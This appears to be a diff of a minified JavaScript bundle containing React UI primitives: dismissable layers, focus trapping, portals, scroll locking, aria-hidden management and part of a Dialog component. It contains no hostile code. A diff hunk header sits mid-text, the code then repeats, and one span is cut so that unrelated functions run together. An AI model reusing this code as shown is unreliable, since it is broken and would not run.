yI(t,e){t&&md.flushSync(()=>t.dispatchEvent(e))}function bi(t){const e=b.useRef(t);return b.useEffect(()=>{e.current=t}),b.useMemo(()=>(...n)=>{var r;return(r=e.current)==null?void 0:r.call(e,...n)},[])}function bI(t,e=globalThis==null?void 0:globalThis.document){const n=bi(t);b.useEffect(()=>{const r=a=>{a.key==="Escape"&&n(a)};return e.addEventListener("keydown",r,{capture:!0}),()=>e.removeEventListener("keydown",r,{capture:!0})},[n,e])}var vI="DismissableLayer",zg="dismissableLayer.update",NI="dismissableLayer.pointerDownOutside",wI="dismissableLayer.focusOutside",Xv,wj=b.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),Ux=b.forwardRef((t,e)=>{const{disableOutsidePointerEvents:n=!1,onEscapeKeyDown:r,onPointerDownOutside:a,onFocusOutside:i,onInteractOutside:o,onDismiss:c,...u}=t,h=b.useContext(wj),[f,m]=b.useState(null),g=(f==null?void 0:f.ownerDocument)??(globalThis==null?void 0:globalThis.document),[,y]=b.useState({}),N=Ct(e,L=>m(L)),w=Array.from(h.layers),[v]=[...h.layersWithOutsidePointerEventsDisabled].slice(-1),k=w.indexOf(v),C=f?w.indexOf(f):-1,E=h.layersWithOutsidePointerEventsDisabled.size>0,T=C>=k,I=SI(L=>{const R=L.target,D=[...h.branches].some(z=>z.contains(R));!T||D||(a==null||a(L),o==null||o(L),L.defaultPrevented||c==null||c())},g),O=CI(L=>{const R=L.target;[...h.branches].some(z=>z.contains(R))||(i==null||i(L),o==null||o(L),L.defaultPrevented||c==null||c())},g);return bI(L=>{C===h.layers.size-1&&(r==null||r(L),!L.defaultPrevented&&c&&(L.preventDefault(),c()))},g),b.useEffect(()=>{if(f)return n&&(h.layersWithOutsidePointerEventsDisabled.size===0&&(Xv=g.body.style.pointerEvents,g.body.style.pointerEvents="none"),h.layersWithOutsidePointerEventsDisabled.add(f)),h.layers.add(f),Zv(),()=>{n&&h.layersWithOutsidePointerEventsDisabled.size===1&&(g.body.style.pointerEvents=Xv)}},[f,g,n,h]),b.useEffect(()=>()=>{f&&(h.layers.delete(f),h.layersWithOutsidePointerEventsDisabled.delete(f),Zv())},[f,h]),b.useEffect(()=>{const L=()=>y({});return document.addEventListener(zg,L),()=>document.removeEventListener(zg,L)},[]),s.jsx(ht.div,{...u,ref:N,style:{pointerEvents:E?T?"auto":"none":void 0,...t.style},onFocusCapture:ot(t.onFocusCapture,O.onFocusCapture),onBlurCapture:ot(t.onBlurCapture,O.onBlurCapture),onPointerDownCapture:ot(t.onPointerDownCapture,I.onPointerDownCapture)})});Ux.displayName=vI;var jI="DismissableLayerBranch",kI=b.forwardRef((t,e)=>{const n=b.useContext(wj),r=b.useRef(null),a=Ct(e,r);return b.useEffect(()=>{const i=r.current;if(i)return n.branches.add(i),()=>{n.branches.delete(i)}},[n.branches]),s.jsx(ht.div,{...t,ref:a})});kI.displayName=jI;function SI(t,e=globalThis==null?void 0:globalThis.document){const n=bi(t),r=b.useRef(!1),a=b.useRef(()=>{});return b.useEffect(()=>{const i=c=>{if(c.target&&!r.current){let u=function(){jj(NI,n,h,{discrete:!0})};const h={originalEvent:c};c.pointerType==="touch"?(e.removeEventListener("click",a.current),a.current=u,e.addEventListener("click",a.current,{once:!0})):u()}else e.removeEventListener("click",a.current);r.current=!1},o=window.setTimeout(()=>{e.addEventListener("pointerdown",i)},0);return()=>{window.clearTimeout(o),e.removeEventListener("pointerdown",i),e.removeEventListener("click",a.current)}},[e,n]),{onPointerDownCapture:()=>r.current=!0}}function CI(t,e=globalThis==null?void 0:globalThis.document){const n=bi(t),r=b.useRef(!1);return b.useEffect(()=>{const a=i=>{i.target&&!r.current&&jj(wI,n,{originalEvent:i},{discrete:!1})};return e.addEventListener("focusin",a),()=>e.removeEventListener("focusin",a)},[e,n]),{onFocusCapture:()=>r.current=!0,onBlurCapture:()=>r.current=!1}}function Zv(){const t=new CustomEvent(zg);document.dispatchEvent(t)}function jj(t,e,n,{discrete:r}){const a=n.originalEvent.target,i=new CustomEvent(t,{bubbles:!1,cancelable:!0,detail:n});e&&a.addEventListener(t,e,{once:!0}),r?yI(a,i):a.dispatchEvent(i)}var Pm="focusScope.autoFocusOnMount",Om="focusScope.autoFocusOnUnmount",e1={bubbles:!1,cancelable:!0},EI="FocusScope",Kx=b.forwardRef((t,e)=>{const{loop:n=!1,trapped:r=!1,onMountAutoFocus:a,onUnmountAutoFocus:i,...o}=t,[c,u]=b.useState(null),h=bi(a),f=bi(i),m=b.useRef(null),g=Ct(e,w=>u(w)),y=b.useRef({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;b.useEffect(()=>{if(r){let w=function(E){if(y.paused||!c)return;const T=E.target;c.contains(T)?m.current=T:Za(m.current,{select:!0})},v=function(E){if(y.paused||!c)return;const T=E.relatedTarget;T!==null&&(c.contains(T)||Za(m.current,{select:!0}))},k=function(E){if(document.activeElement===document.body)for(const I of E)I.removedNodes.length>0&&Za(c)};document.addEventListener("focusin",w),document.addEventListener("focusout",v);const C=new MutationObserver(k);return c&&C.observe(c,{childList:!0,subtree:!0}),()=>{document.removeEventListener("focusin",w),document.removeEventListener("focusout",v),C.disconnect()}}},[r,c,y.paused]),b.useEffect(()=>{if(c){n1.add(y);const w=document.activeElement;if(!c.contains(w)){const k=new CustomEvent(Pm,e1);c.addEventListener(Pm,h),c.dispatchEvent(k),k.defaultPrevented||(TI(PI(kj(c)),{select:!0}),document.activeElement===w&&Za(c))}return()=>{c.removeEventListener(Pm,h),setTimeout(()=>{const k=new CustomEvent(Om,e1);c.addEventListener(Om,f),c.dispatchEvent(k),k.defaultPrevented||Za(w??document.body,{select:!0}),c.removeEventListener(Om,f),n1.remove(y)},0)}}},[c,h,f,y]);const N=b.useCallback(w=>{if(!n&&!r||y.paused)return;const v=w.key==="Tab"&&!w.altKey&&!w.ctrlKey&&!w.metaKey,k=document.activeElement;if(v&&k){const C=w.currentTarget,[E,T]=MI(C);E&&T?!w.shiftKey&&k===T?(w.preventDefault(),n&&Za(E,{select:!0})):w.shiftKey&&k===E&&(w.preventDefault(),n&&Za(T,{select:!0})):k===C&&w.preventDefault()}},[n,r,y.paused]);return s.jsx(ht.div,{tabIndex:-1,...o,ref:g,onKeyDown:N})});Kx.displayName=EI;function TI(t,{select:e=!1}={}){const n=document.activeElement;for(const r of t)if(Za(r,{select:e}),document.activeElement!==n)return}function MI(t){const e=kj(t),n=t1(e,t),r=t1(e.reverse(),t);return[n,r]}function kj(t){const e=[],n=document.createTreeWalker(t,NodeFilter.SHOW_ELEMENT,{acceptNode:r=>{const a=r.tagName==="INPUT"&&r.type==="hidden";return r.disabled||r.hidden||a?NodeFilter.FILTER_SKIP:r.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)e.push(n.currentNode);return e}function t1(t,e){for(const n of t)if(!AI(n,{upTo:e}))return n}function AI(t,{upTo:e}){if(getComputedStyle(t).visibility==="hidden")return!0;for(;t;){if(e!==void 0&&t===e)return!1;if(getComputedStyle(t).display==="none")return!0;t=t.parentElement}return!1}function II(t){return t instanceof HTMLInputElement&&"select"in t}function Za(t,{select:e=!1}={}){if(t&&t.focus){const n=document.activeElement;t.focus({preventScroll:!0}),t!==n&&II(t)&&e&&t.select()}}var n1=RI();function RI(){let t=[];return{add(e){const n=t[0];e!==n&&(n==null||n.pause()),t=r1(t,e),t.unshift(e)},remove(e){var n;t=r1(t,e),(n=t[0])==null||n.resume()}}}function r1(t,e){const n=[...t],r=n.indexOf(e);return r!==-1&&n.splice(r,1),n}function PI(t){return t.filter(e=>e.tagName!=="A")}var OI="Portal",qx=b.forwardRef((t,e)=>{var c;const{container:n,...r}=t,[a,i]=b.useState(!1);or(()=>i(!0),[]);const o=n||a&&((c=globalThis==null?void 0:globalThis.document)==null?void 0:c.body);return o?Ow.createPortal(s.jsx(ht.div,{...r,ref:e}),o):null});qx.displayName=OI;function DI(t,e){return b.useReducer((n,r)=>e[n][r]??n,t)}var gd=t=>{const{present:e,children:n}=t,r=LI(e),a=typeof n=="function"?n({present:r.isPresent}):b.Children.only(n),i=Ct(r.ref,_I(a));return typeof n=="function"||r.isPresent?b.cloneElement(a,{ref:i}):null};gd.displayName="Presence";function LI(t){const[e,n]=b.useState(),r=b.useRef(null),a=b.useRef(t),i=b.useRef("none"),o=t?"mounted":"unmounted",[c,u]=DI(o,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return b.useEffect(()=>{const h=Mu(r.current);i.current=c==="mounted"?h:"none"},[c]),or(()=>{const h=r.current,f=a.current;if(f!==t){const g=i.current,y=Mu(h);t?u("MOUNT"):y==="none"||(h==null?void 0:h.display)==="none"?u("UNMOUNT"):u(f&&g!==y?"ANIMATION_OUT":"UNMOUNT"),a.current=t}},[t,u]),or(()=>{if(e){let h;const f=e.ownerDocument.defaultView??window,m=y=>{const w=Mu(r.current).includes(CSS.escape(y.animationName));if(y.target===e&&w&&(u("ANIMATION_END"),!a.current)){const v=e.style.animationFillMode;e.style.animationFillMode="forwards",h=f.setTimeout(()=>{e.style.animationFillMode==="forwards"&&(e.style.animationFillMode=v)})}},g=y=>{y.target===e&&(i.current=Mu(r.current))};return e.addEventListener("animationstart",g),e.addEventListener("animationcancel",m),e.addEventListener("animationend",m),()=>{f.clearTimeout(h),e.removeEventListener("animationstart",g),e.removeEventListener("animationcancel",m),e.removeEventListener("animationend",m)}}else u("ANIMATION_END")},[e,u]),{isPresent:["mounted","unmountSuspended"].includes(c),ref:b.useCallback(h=>{r.current=h?getComputedStyle(h):null,n(h)},[])}}function Mu(t){return(t==null?void 0:t.animationName)||"none"}function _I(t){var r,a;let e=(r=Object.getOwnPropertyDescriptor(t.props,"ref"))==null?void 0:r.get,n=e&&"isReactWarning"in e&&e.isReactWarning;return n?t.ref:(e=(a=Object.getOwnPropertyDescriptor(t,"ref"))==null?void 0:a.get,n=e&&"isReactWarning"in e&&e.isReactWarning,n?t.props.ref:t.props.ref||t.ref)}var Dm=0;function Sj(){b.useEffect(()=>{const t=document.querySelectorAll("[data-radix-focus-guard]");return document.body.insertAdjacentElement("afterbegin",t[0]??s1()),document.body.insertAdjacentElement("beforeend",t[1]??s1()),Dm++,()=>{Dm===1&&document.querySelectorAll("[data-radix-focus-guard]").forEach(e=>e.remove()),Dm--}},[])}function s1(){const t=document.createElement("span");return t.setAttribute("data-radix-focus-guard",""),t.tabIndex=0,t.style.outline="none",t.style.opacity="0",t.style.position="fixed",t.style.pointerEvents="none",t}var Vs=function(){return Vs=Object.assign||function(e){for(var n,r=1,a=arguments.length;r"u")return eR;var e=tR(t),n=document.documentElement.clientWidth,r=window.innerWidth;return{left:e[0],top:e[1],right:e[2],gap:Math.max(0,r-n+e[2]-e[0])}},rR=Mj(),bl="data-scroll-locked",sR=function(t,e,n,r){var a=t.left,i=t.top,o=t.right,c=t.gap;return n===void 0&&(n="margin"),` .`.concat($I,` { overflow: hidden `).concat(r,`; padding-right: `).concat(c,"px ").concat(r,`; @@ -579,20 +579,20 @@ Error generating stack: `+S.message+` `)},i1=function(){var t=parseInt(document.body.getAttribute(bl)||"0",10);return isFinite(t)?t:0},aR=function(){b.useEffect(function(){return document.body.setAttribute(bl,(i1()+1).toString()),function(){var t=i1()-1;t<=0?document.body.removeAttribute(bl):document.body.setAttribute(bl,t.toString())}},[])},iR=function(t){var e=t.noRelative,n=t.noImportant,r=t.gapMode,a=r===void 0?"margin":r;aR();var i=b.useMemo(function(){return nR(a)},[a]);return b.createElement(rR,{styles:sR(i,!e,a,n?"":"!important")})},$g=!1;if(typeof window<"u")try{var Au=Object.defineProperty({},"passive",{get:function(){return $g=!0,!0}});window.addEventListener("test",Au,Au),window.removeEventListener("test",Au,Au)}catch{$g=!1}var sl=$g?{passive:!1}:!1,oR=function(t){return t.tagName==="TEXTAREA"},Aj=function(t,e){if(!(t instanceof Element))return!1;var n=window.getComputedStyle(t);return n[e]!=="hidden"&&!(n.overflowY===n.overflowX&&!oR(t)&&n[e]==="visible")},lR=function(t){return Aj(t,"overflowY")},cR=function(t){return Aj(t,"overflowX")},o1=function(t,e){var n=e.ownerDocument,r=e;do{typeof ShadowRoot<"u"&&r instanceof ShadowRoot&&(r=r.host);var a=Ij(t,r);if(a){var i=Rj(t,r),o=i[1],c=i[2];if(o>c)return!0}r=r.parentNode}while(r&&r!==n.body);return!1},dR=function(t){var e=t.scrollTop,n=t.scrollHeight,r=t.clientHeight;return[e,n,r]},uR=function(t){var e=t.scrollLeft,n=t.scrollWidth,r=t.clientWidth;return[e,n,r]},Ij=function(t,e){return t==="v"?lR(e):cR(e)},Rj=function(t,e){return t==="v"?dR(e):uR(e)},hR=function(t,e){return t==="h"&&e==="rtl"?-1:1},fR=function(t,e,n,r,a){var i=hR(t,window.getComputedStyle(e).direction),o=i*r,c=n.target,u=e.contains(c),h=!1,f=o>0,m=0,g=0;do{if(!c)break;var y=Rj(t,c),N=y[0],w=y[1],v=y[2],k=w-v-i*N;(N||k)&&Ij(t,c)&&(m+=k,g+=N);var C=c.parentNode;c=C&&C.nodeType===Node.DOCUMENT_FRAGMENT_NODE?C.host:C}while(!u&&c!==document.body||u&&(e.contains(c)||e===c));return(f&&Math.abs(m)<1||!f&&Math.abs(g)<1)&&(h=!0),h},Iu=function(t){return"changedTouches"in t?[t.changedTouches[0].clientX,t.changedTouches[0].clientY]:[0,0]},l1=function(t){return[t.deltaX,t.deltaY]},c1=function(t){return t&&"current"in t?t.current:t},pR=function(t,e){return t[0]===e[0]&&t[1]===e[1]},mR=function(t){return` .block-interactivity-`.concat(t,` {pointer-events: none;} .allow-interactivity-`).concat(t,` {pointer-events: all;} -`)},gR=0,al=[];function xR(t){var e=b.useRef([]),n=b.useRef([0,0]),r=b.useRef(),a=b.useState(gR++)[0],i=b.useState(Mj)[0],o=b.useRef(t);b.useEffect(function(){o.current=t},[t]),b.useEffect(function(){if(t.inert){document.body.classList.add("block-interactivity-".concat(a));var w=zI([t.lockRef.current],(t.shards||[]).map(c1),!0).filter(Boolean);return w.forEach(function(v){return v.classList.add("allow-interactivity-".concat(a))}),function(){document.body.classList.remove("block-interactivity-".concat(a)),w.forEach(function(v){return v.classList.remove("allow-interactivity-".concat(a))})}}},[t.inert,t.lockRef.current,t.shards]);var c=b.useCallback(function(w,v){if("touches"in w&&w.touches.length===2||w.type==="wheel"&&w.ctrlKey)return!o.current.allowPinchZoom;var k=Iu(w),C=n.current,E="deltaX"in w?w.deltaX:C[0]-k[0],T="deltaY"in w?w.deltaY:C[1]-k[1],I,O=w.target,L=Math.abs(E)>Math.abs(T)?"h":"v";if("touches"in w&&L==="h"&&O.type==="range")return!1;var R=window.getSelection(),D=R&&R.anchorNode,_=D?D===O||D.contains(O):!1;if(_)return!1;var Z=o1(L,O);if(!Z)return!0;if(Z?I=L:(I=L==="v"?"h":"v",Z=o1(L,O)),!Z)return!1;if(!r.current&&"changedTouches"in w&&(E||T)&&(r.current=I),!I)return!0;var ne=r.current||I;return fR(ne,v,w,ne==="h"?E:T)},[]),u=b.useCallback(function(w){var v=w;if(!(!al.length||al[al.length-1]!==i)){var k="deltaY"in v?l1(v):Iu(v),C=e.current.filter(function(I){return I.name===v.type&&(I.target===v.target||v.target===I.shadowParent)&&pR(I.delta,k)})[0];if(C&&C.should){v.cancelable&&v.preventDefault();return}if(!C){var E=(o.current.shards||[]).map(c1).filter(Boolean).filter(function(I){return I.contains(v.target)}),T=E.length>0?c(v,E[0]):!o.current.noIsolation;T&&v.cancelable&&v.preventDefault()}}},[]),h=b.useCallback(function(w,v,k,C){var E={name:w,delta:v,target:k,should:C,shadowParent:yR(k)};e.current.push(E),setTimeout(function(){e.current=e.current.filter(function(T){return T!==E})},1)},[]),f=b.useCallback(function(w){n.current=Iu(w),r.current=void 0},[]),m=b.useCallback(function(w){h(w.type,l1(w),w.target,c(w,t.lockRef.current))},[]),g=b.useCallback(function(w){h(w.type,Iu(w),w.target,c(w,t.lockRef.current))},[]);b.useEffect(function(){return al.push(i),t.setCallbacks({onScrollCapture:m,onWheelCapture:m,onTouchMoveCapture:g}),document.addEventListener("wheel",u,sl),document.addEventListener("touchmove",u,sl),document.addEventListener("touchstart",f,sl),function(){al=al.filter(function(w){return w!==i}),document.removeEventListener("wheel",u,sl),document.removeEventListener("touchmove",u,sl),document.removeEventListener("touchstart",f,sl)}},[]);var y=t.removeScrollBar,N=t.inert;return b.createElement(b.Fragment,null,N?b.createElement(i,{styles:mR(a)}):null,y?b.createElement(iR,{noRelative:t.noRelative,gapMode:t.gapMode}):null)}function yR(t){for(var e=null;t!==null;)t instanceof ShadowRoot&&(e=t.host,t=t.host),t=t.parentNode;return e}const bR=qI(Tj,xR);var Gx=b.forwardRef(function(t,e){return b.createElement(gf,Vs({},t,{ref:e,sideCar:bR}))});Gx.classNames=gf.classNames;var vR=function(t){if(typeof document>"u")return null;var e=Array.isArray(t)?t[0]:t;return e.ownerDocument.body},il=new WeakMap,Ru=new WeakMap,Pu={},$m=0,Pj=function(t){return t&&(t.host||Pj(t.parentNode))},NR=function(t,e){return e.map(function(n){if(t.contains(n))return n;var r=Pj(n);return r&&t.contains(r)?r:(console.error("aria-hidden",n,"in not contained inside",t,". Doing nothing"),null)}).filter(function(n){return!!n})},wR=function(t,e,n,r){var a=NR(e,Array.isArray(t)?t:[t]);Pu[n]||(Pu[n]=new WeakMap);var i=Pu[n],o=[],c=new Set,u=new Set(a),h=function(m){!m||c.has(m)||(c.add(m),h(m.parentNode))};a.forEach(h);var f=function(m){!m||u.has(m)||Array.prototype.forEach.call(m.children,function(g){if(c.has(g))f(g);else try{var y=g.getAttribute(r),N=y!==null&&y!=="false",w=(il.get(g)||0)+1,v=(i.get(g)||0)+1;il.set(g,w),i.set(g,v),o.push(g),w===1&&N&&Ru.set(g,!0),v===1&&g.setAttribute(n,"true"),N||g.setAttribute(r,"true")}catch(k){console.error("aria-hidden: cannot operate on ",g,k)}})};return f(e),c.clear(),$m++,function(){o.forEach(function(m){var g=il.get(m)-1,y=i.get(m)-1;il.set(m,g),i.set(m,y),g||(Ru.has(m)||m.removeAttribute(r),Ru.delete(m)),y||m.removeAttribute(n)}),$m--,$m||(il=new WeakMap,il=new WeakMap,Ru=new WeakMap,Pu={})}},Oj=function(t,e,n){n===void 0&&(n="data-aria-hidden");var r=Array.from(Array.isArray(t)?t:[t]),a=vR(t);return a?(r.push.apply(r,Array.from(a.querySelectorAll("[aria-live], script"))),wR(r,a,n,"aria-hidden")):function(){return null}},xf="Dialog",[Dj]=Ei(xf),[jR,Ts]=Dj(xf),Lj=t=>{const{__scopeDialog:e,children:n,open:r,defaultOpen:a,onOpenChange:i,modal:o=!0}=t,c=b.useRef(null),u=b.useRef(null),[h,f]=xo({prop:r,defaultProp:a??!1,onChange:i,caller:xf});return s.jsx(jR,{scope:e,triggerRef:c,contentRef:u,contentId:fi(),titleId:fi(),descriptionId:fi(),open:h,onOpenChange:f,onOpenToggle:b.useCallback(()=>f(m=>!m),[f]),modal:o,children:n})};Lj.displayName=xf;var _j="DialogTrigger",kR=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(_j,n),i=Ct(e,a.triggerRef);return s.jsx(ht.button,{type:"button","aria-haspopup":"dialog","aria-expanded":a.open,"aria-controls":a.contentId,"data-state":Qx(a.open),...r,ref:i,onClick:ot(t.onClick,a.onOpenToggle)})});kR.displayName=_j;var Jx="DialogPortal",[SR,zj]=Dj(Jx,{forceMount:void 0}),$j=t=>{const{__scopeDialog:e,forceMount:n,children:r,container:a}=t,i=Ts(Jx,e);return s.jsx(SR,{scope:e,forceMount:n,children:b.Children.map(r,o=>s.jsx(gd,{present:n||i.open,children:s.jsx(qx,{asChild:!0,container:a,children:o})}))})};$j.displayName=Jx;var ph="DialogOverlay",Fj=b.forwardRef((t,e)=>{const n=zj(ph,t.__scopeDialog),{forceMount:r=n.forceMount,...a}=t,i=Ts(ph,t.__scopeDialog);return i.modal?s.jsx(gd,{present:r||i.open,children:s.jsx(ER,{...a,ref:e})}):null});Fj.displayName=ph;var CR=ed("DialogOverlay.RemoveScroll"),ER=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(ph,n);return s.jsx(Gx,{as:CR,allowPinchZoom:!0,shards:[a.contentRef],children:s.jsx(ht.div,{"data-state":Qx(a.open),...r,ref:e,style:{pointerEvents:"auto",...r.style}})})}),yo="DialogContent",Bj=b.forwardRef((t,e)=>{const n=zj(yo,t.__scopeDialog),{forceMount:r=n.forceMount,...a}=t,i=Ts(yo,t.__scopeDialog);return s.jsx(gd,{present:r||i.open,children:i.modal?s.jsx(TR,{...a,ref:e}):s.jsx(MR,{...a,ref:e})})});Bj.displayName=yo;var TR=b.forwardRef((t,e)=>{const n=Ts(yo,t.__scopeDialog),r=b.useRef(null),a=Ct(e,n.contentRef,r);return b.useEffect(()=>{const i=r.current;if(i)return Oj(i)},[]),s.jsx(Vj,{...t,ref:a,trapFocus:n.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:ot(t.onCloseAutoFocus,i=>{var o;i.preventDefault(),(o=n.triggerRef.current)==null||o.focus()}),onPointerDownOutside:ot(t.onPointerDownOutside,i=>{const o=i.detail.originalEvent,c=o.button===0&&o.ctrlKey===!0;(o.button===2||c)&&i.preventDefault()}),onFocusOutside:ot(t.onFocusOutside,i=>i.preventDefault())})}),MR=b.forwardRef((t,e)=>{const n=Ts(yo,t.__scopeDialog),r=b.useRef(!1),a=b.useRef(!1);return s.jsx(Vj,{...t,ref:e,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:i=>{var o,c;(o=t.onCloseAutoFocus)==null||o.call(t,i),i.defaultPrevented||(r.current||(c=n.triggerRef.current)==null||c.focus(),i.preventDefault()),r.current=!1,a.current=!1},onInteractOutside:i=>{var u,h;(u=t.onInteractOutside)==null||u.call(t,i),i.defaultPrevented||(r.current=!0,i.detail.originalEvent.type==="pointerdown"&&(a.current=!0));const o=i.target;((h=n.triggerRef.current)==null?void 0:h.contains(o))&&i.preventDefault(),i.detail.originalEvent.type==="focusin"&&a.current&&i.preventDefault()}})}),Vj=b.forwardRef((t,e)=>{const{__scopeDialog:n,trapFocus:r,onOpenAutoFocus:a,onCloseAutoFocus:i,...o}=t,c=Ts(yo,n),u=b.useRef(null),h=Ct(e,u);return Sj(),s.jsxs(s.Fragment,{children:[s.jsx(Kx,{asChild:!0,loop:!0,trapped:r,onMountAutoFocus:a,onUnmountAutoFocus:i,children:s.jsx(Ux,{role:"dialog",id:c.contentId,"aria-describedby":c.descriptionId,"aria-labelledby":c.titleId,"data-state":Qx(c.open),...o,ref:h,onDismiss:()=>c.onOpenChange(!1)})}),s.jsxs(s.Fragment,{children:[s.jsx(AR,{titleId:c.titleId}),s.jsx(RR,{contentRef:u,descriptionId:c.descriptionId})]})]})}),Yx="DialogTitle",Hj=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(Yx,n);return s.jsx(ht.h2,{id:a.titleId,...r,ref:e})});Hj.displayName=Yx;var Wj="DialogDescription",Uj=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(Wj,n);return s.jsx(ht.p,{id:a.descriptionId,...r,ref:e})});Uj.displayName=Wj;var Kj="DialogClose",qj=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(Kj,n);return s.jsx(ht.button,{type:"button",...r,ref:e,onClick:ot(t.onClick,()=>a.onOpenChange(!1))})});qj.displayName=Kj;function Qx(t){return t?"open":"closed"}var Gj="DialogTitleWarning",[qV,Jj]=aI(Gj,{contentName:yo,titleName:Yx,docsSlug:"dialog"}),AR=({titleId:t})=>{const e=Jj(Gj),n=`\`${e.contentName}\` requires a \`${e.titleName}\` for the component to be accessible for screen reader users. +`)},gR=0,al=[];function xR(t){var e=b.useRef([]),n=b.useRef([0,0]),r=b.useRef(),a=b.useState(gR++)[0],i=b.useState(Mj)[0],o=b.useRef(t);b.useEffect(function(){o.current=t},[t]),b.useEffect(function(){if(t.inert){document.body.classList.add("block-interactivity-".concat(a));var w=zI([t.lockRef.current],(t.shards||[]).map(c1),!0).filter(Boolean);return w.forEach(function(v){return v.classList.add("allow-interactivity-".concat(a))}),function(){document.body.classList.remove("block-interactivity-".concat(a)),w.forEach(function(v){return v.classList.remove("allow-interactivity-".concat(a))})}}},[t.inert,t.lockRef.current,t.shards]);var c=b.useCallback(function(w,v){if("touches"in w&&w.touches.length===2||w.type==="wheel"&&w.ctrlKey)return!o.current.allowPinchZoom;var k=Iu(w),C=n.current,E="deltaX"in w?w.deltaX:C[0]-k[0],T="deltaY"in w?w.deltaY:C[1]-k[1],I,O=w.target,L=Math.abs(E)>Math.abs(T)?"h":"v";if("touches"in w&&L==="h"&&O.type==="range")return!1;var R=window.getSelection(),D=R&&R.anchorNode,z=D?D===O||D.contains(O):!1;if(z)return!1;var Z=o1(L,O);if(!Z)return!0;if(Z?I=L:(I=L==="v"?"h":"v",Z=o1(L,O)),!Z)return!1;if(!r.current&&"changedTouches"in w&&(E||T)&&(r.current=I),!I)return!0;var ne=r.current||I;return fR(ne,v,w,ne==="h"?E:T)},[]),u=b.useCallback(function(w){var v=w;if(!(!al.length||al[al.length-1]!==i)){var k="deltaY"in v?l1(v):Iu(v),C=e.current.filter(function(I){return I.name===v.type&&(I.target===v.target||v.target===I.shadowParent)&&pR(I.delta,k)})[0];if(C&&C.should){v.cancelable&&v.preventDefault();return}if(!C){var E=(o.current.shards||[]).map(c1).filter(Boolean).filter(function(I){return I.contains(v.target)}),T=E.length>0?c(v,E[0]):!o.current.noIsolation;T&&v.cancelable&&v.preventDefault()}}},[]),h=b.useCallback(function(w,v,k,C){var E={name:w,delta:v,target:k,should:C,shadowParent:yR(k)};e.current.push(E),setTimeout(function(){e.current=e.current.filter(function(T){return T!==E})},1)},[]),f=b.useCallback(function(w){n.current=Iu(w),r.current=void 0},[]),m=b.useCallback(function(w){h(w.type,l1(w),w.target,c(w,t.lockRef.current))},[]),g=b.useCallback(function(w){h(w.type,Iu(w),w.target,c(w,t.lockRef.current))},[]);b.useEffect(function(){return al.push(i),t.setCallbacks({onScrollCapture:m,onWheelCapture:m,onTouchMoveCapture:g}),document.addEventListener("wheel",u,sl),document.addEventListener("touchmove",u,sl),document.addEventListener("touchstart",f,sl),function(){al=al.filter(function(w){return w!==i}),document.removeEventListener("wheel",u,sl),document.removeEventListener("touchmove",u,sl),document.removeEventListener("touchstart",f,sl)}},[]);var y=t.removeScrollBar,N=t.inert;return b.createElement(b.Fragment,null,N?b.createElement(i,{styles:mR(a)}):null,y?b.createElement(iR,{noRelative:t.noRelative,gapMode:t.gapMode}):null)}function yR(t){for(var e=null;t!==null;)t instanceof ShadowRoot&&(e=t.host,t=t.host),t=t.parentNode;return e}const bR=qI(Tj,xR);var Gx=b.forwardRef(function(t,e){return b.createElement(gf,Vs({},t,{ref:e,sideCar:bR}))});Gx.classNames=gf.classNames;var vR=function(t){if(typeof document>"u")return null;var e=Array.isArray(t)?t[0]:t;return e.ownerDocument.body},il=new WeakMap,Ru=new WeakMap,Pu={},$m=0,Pj=function(t){return t&&(t.host||Pj(t.parentNode))},NR=function(t,e){return e.map(function(n){if(t.contains(n))return n;var r=Pj(n);return r&&t.contains(r)?r:(console.error("aria-hidden",n,"in not contained inside",t,". Doing nothing"),null)}).filter(function(n){return!!n})},wR=function(t,e,n,r){var a=NR(e,Array.isArray(t)?t:[t]);Pu[n]||(Pu[n]=new WeakMap);var i=Pu[n],o=[],c=new Set,u=new Set(a),h=function(m){!m||c.has(m)||(c.add(m),h(m.parentNode))};a.forEach(h);var f=function(m){!m||u.has(m)||Array.prototype.forEach.call(m.children,function(g){if(c.has(g))f(g);else try{var y=g.getAttribute(r),N=y!==null&&y!=="false",w=(il.get(g)||0)+1,v=(i.get(g)||0)+1;il.set(g,w),i.set(g,v),o.push(g),w===1&&N&&Ru.set(g,!0),v===1&&g.setAttribute(n,"true"),N||g.setAttribute(r,"true")}catch(k){console.error("aria-hidden: cannot operate on ",g,k)}})};return f(e),c.clear(),$m++,function(){o.forEach(function(m){var g=il.get(m)-1,y=i.get(m)-1;il.set(m,g),i.set(m,y),g||(Ru.has(m)||m.removeAttribute(r),Ru.delete(m)),y||m.removeAttribute(n)}),$m--,$m||(il=new WeakMap,il=new WeakMap,Ru=new WeakMap,Pu={})}},Oj=function(t,e,n){n===void 0&&(n="data-aria-hidden");var r=Array.from(Array.isArray(t)?t:[t]),a=vR(t);return a?(r.push.apply(r,Array.from(a.querySelectorAll("[aria-live], script"))),wR(r,a,n,"aria-hidden")):function(){return null}},xf="Dialog",[Dj]=Ei(xf),[jR,Ts]=Dj(xf),Lj=t=>{const{__scopeDialog:e,children:n,open:r,defaultOpen:a,onOpenChange:i,modal:o=!0}=t,c=b.useRef(null),u=b.useRef(null),[h,f]=xo({prop:r,defaultProp:a??!1,onChange:i,caller:xf});return s.jsx(jR,{scope:e,triggerRef:c,contentRef:u,contentId:fi(),titleId:fi(),descriptionId:fi(),open:h,onOpenChange:f,onOpenToggle:b.useCallback(()=>f(m=>!m),[f]),modal:o,children:n})};Lj.displayName=xf;var _j="DialogTrigger",kR=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(_j,n),i=Ct(e,a.triggerRef);return 